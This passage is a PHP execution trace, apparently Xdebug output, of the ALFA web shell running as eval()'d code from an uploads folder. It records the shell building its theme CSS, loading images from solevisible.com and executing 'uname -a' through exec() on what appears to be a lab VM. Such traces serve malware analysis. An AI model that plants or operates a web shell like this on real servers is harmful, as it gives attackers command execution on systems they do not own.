5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'input_box_border'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = 'input[type=text],textarea'
6	223	0	0.120215	3922784	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'input_box_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
6	223	1	0.120247	3922784
6	223	R			'#0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0E304A'
6	224	0	0.120272	3922784	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
6	224	1	0.120288	3922936
6	224	R			'border: 1px solid #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'border: 1px solid #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'input_box_text'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = 'input[type=text],textarea'
6	225	0	0.120354	3922784	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'input_box_text'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
6	225	1	0.120389	3922784
6	225	R			'#999999'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#999999'
6	226	0	0.120413	3922784	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#999999'	'color: {color};'
6	226	1	0.120429	3922920
6	226	R			'color: #999999;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #999999;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= 'input[type=text],textarea{color: #999999;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'input_box:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = 'input[type=text]:hover,textarea:hover'
6	227	0	0.120491	3922768	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'input_box:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
6	227	1	0.120525	3922768
6	227	R			'#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#27979B'
6	228	0	0.120550	3922768	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
6	228	1	0.120567	3922944
6	228	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'select_box_border'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = 'select'
6	229	0	0.120637	3922808	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'select_box_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
6	229	1	0.120669	3922808
6	229	R			'#0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0E304A'
6	230	0	0.120693	3922808	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
6	230	1	0.120709	3922960
6	230	R			'border: 1px solid #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'border: 1px solid #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= 'select{border: 1px solid #0E304A}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'select_box_text'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = 'select'
6	231	0	0.120772	3922784	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'select_box_text'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
6	231	1	0.120802	3922784
6	231	R			'#FFFFEE'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFEE'
6	232	0	0.120827	3922784	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFEE'	'color: {color};'
6	232	1	0.120843	3922920
6	232	R			'color: #FFFFEE;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFEE;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= 'select{color: #FFFFEE;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'select_box:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = 'select:hover'
6	233	0	0.120902	3922768	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'select_box:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
6	233	1	0.120939	3922768
6	233	R			'#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#27979B'
6	234	0	0.120964	3922768	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
6	234	1	0.120980	3922944
6	234	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'button_border'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = 'input[type=submit],.button,#addup'
6	235	0	0.121050	3922808	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'button_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
6	235	1	0.121081	3922808
6	235	R			'#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#27979B'
6	236	0	0.121106	3922808	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#27979B'	'border: 1px solid {color};'
6	236	1	0.121122	3922960
6	236	R			'border: 1px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'border: 1px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'button:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = 'input[type=submit]:hover'
6	237	0	0.121187	3922784	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'button:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
6	237	1	0.121221	3922784
6	237	R			'#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#27979B'
6	238	0	0.121246	3922784	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:2px solid {color};'
6	238	1	0.121262	3922960
6	238	R			'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.button:hover,#addup:hover'
6	239	0	0.121320	3923320	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'button:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
6	239	1	0.121354	3923320
6	239	R			'#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#27979B'
6	240	0	0.121378	3923320	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
6	240	1	0.121395	3923496
6	240	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'outputs_text'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.ml1'
6	241	0	0.121465	3923320	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'outputs_text'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
6	241	1	0.121496	3923320
6	241	R			'#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#67ABDF'
6	242	0	0.121521	3923320	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#67ABDF'	'color: {color};'
6	242	1	0.121537	3923456
6	242	R			'color: #67ABDF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #67ABDF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.ml1{color: #67ABDF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'outputs_border'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.ml1'
6	243	0	0.121597	3923280	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'outputs_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
6	243	1	0.121628	3923280
6	243	R			'#0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0E304A'
6	244	0	0.121652	3923280	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0E304A'	'border: 1px solid {color};'
6	244	1	0.121668	3923432
6	244	R			'border: 1px solid #0E304A;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'border: 1px solid #0E304A;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.ml1{border: 1px solid #0E304A;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'uploader_border'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.inputfile'
6	245	0	0.121732	3923296	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'uploader_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
6	245	1	0.121765	3923296
6	245	R			'#0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0E304A'
6	246	0	0.121789	3923296	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0E304A'	'box-shadow:0 0 4px {color};border:1px solid {color};'
6	246	1	0.121806	3923472
6	246	R			'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'uploader_background'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.inputfile strong'
6	247	0	0.121874	3923320	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'uploader_background'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
6	247	1	0.121906	3923320
6	247	R			'#0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0E304A'
6	248	0	0.121930	3923320	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0E304A'	'background-color: {color};'
6	248	1	0.121947	3923472
6	248	R			'background-color: #0E304A;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: #0E304A;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.inputfile strong{background-color: #0E304A;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'uploader_text_right'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.inputfile strong'
6	249	0	0.122014	3923296	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'uploader_text_right'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
6	249	1	0.122046	3923296
6	249	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	250	0	0.122070	3923296	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	250	1	0.122086	3923432
6	250	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.inputfile strong{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'uploader_text_left'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.inputfile span'
6	251	0	0.122181	3923280	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'uploader_text_left'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
6	251	1	0.122214	3923280
6	251	R			'#25ff00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#25ff00'
6	252	0	0.122239	3923280	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#25ff00'	'color: {color};'
6	252	1	0.122254	3923416
6	252	R			'color: #25ff00;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #25ff00;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.inputfile span{color: #25ff00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'uploader:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.inputfile:hover'
6	253	0	0.122315	3923280	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'uploader:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
6	253	1	0.122348	3923280
6	253	R			'#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#27979B'
6	254	0	0.122373	3923280	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
6	254	1	0.122390	3923456
6	254	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'uploader_progress_bar'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.up_bar'
6	255	0	0.122459	3923320	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'uploader_progress_bar'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
6	255	1	0.122490	3923320
6	255	R			'#00ff00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#00ff00'
6	256	0	0.122514	3923320	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#00ff00'	'background-color: {color};'
6	256	1	0.122530	3923472
6	256	R			'background-color: #00ff00;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: #00ff00;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.up_bar{background-color: #00ff00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'mysql_tables'
6	257	0	0.122581	3923296	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'mysql_tables'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#00FF00'
6	257	1	0.122611	3923296
6	257	R			'#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.mysql_tables{color: #00FF00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'mysql_table_count'
6	258	0	0.122658	3923296	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'mysql_table_count'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#67ABDF'
6	258	1	0.122684	3923296
6	258	R			'#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.mysql_table_count{color: #67ABDF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'copyright'
6	259	0	0.122732	3923296	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'copyright'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#dfff00'
6	259	1	0.122757	3923296
6	259	R			'#dfff00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#dfff00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.copyright{color: #dfff00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'scrollbar'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '*::-webkit-scrollbar-thumb'
6	260	0	0.122815	3923296	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'scrollbar'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
6	260	1	0.122847	3923296
6	260	R			'#1e82b5'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#1e82b5'
6	261	0	0.122871	3923296	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#1e82b5'	'background-color: {color};'
6	261	1	0.122888	3923448
6	261	R			'background-color: #1e82b5;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: #1e82b5;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'scrollbar_background'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '*::-webkit-scrollbar-track'
6	262	0	0.122952	3924320	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'scrollbar_background'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
6	262	1	0.122984	3924320
6	262	R			'#000115'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#000115'
6	263	0	0.123008	3924320	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#000115'	'background-color: {color};'
6	263	1	0.123024	3924472
6	263	R			'background-color: #000115;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: #000115;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
5	132	1	0.123066	3924264
5	132	R			'.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
5	264	0	0.123284	3907880	htmlspecialchars	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1073	1	'/var/www/html/uploads/'
5	264	1	0.123302	3908072
5	264	R			'/var/www/html/uploads/'
5	265	0	0.123318	3907992	htmlspecialchars	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1074	1	'FilesMan2'
5	265	1	0.123336	3908184
5	265	R			'FilesMan2'
5	266	0	0.123351	3908040	htmlspecialchars	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1075	1	'Windows-1251'
5	266	1	0.123365	3908232
5	266	R			'Windows-1251'
5	267	0	0.124108	3920168	__showicon	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1086	1	'loader'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1241	$s['btn'] = 'http://solevisible.com/images/btn.png'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1242	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1243	$s['loader'] = 'http://solevisible.com/images/loader.svg'
5	267	1	0.124167	3920168
5	267	R			'http://solevisible.com/images/loader.svg'
5	268	0	0.124185	3920168	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1087	4	'uname -a'	FALSE	FALSE	???
6	269	0	0.124201	3920168	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'uname -a'	FALSE
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
7	270	0	0.124228	3920168	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
7	270	1	0.124241	3920208
7	270	R			TRUE
7	271	0	0.124255	3920192	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'uname -a'	''
7	271	1	0.125394	3920952
7	271	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
7	272	0	0.125424	3920728	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
7	272	1	0.125446	3920792
7	272	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6	269	1	0.125484	3920328
6	269	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5	268	1	0.125520	3920328
5	268	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1087	$cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5	273	0	0.125555	3920328	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1088	1	'php_uname'
5	273	1	0.125570	3920368
5	273	R			TRUE
5	274	0	0.125583	3920328	php_uname	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1088	0
5	274	1	0.125598	3920440
5	274	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	275	0	0.125616	3920440	substr	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1088	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
5	275	1	0.125634	3920536
5	275	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1088	$uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s = 1
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1098	$s++
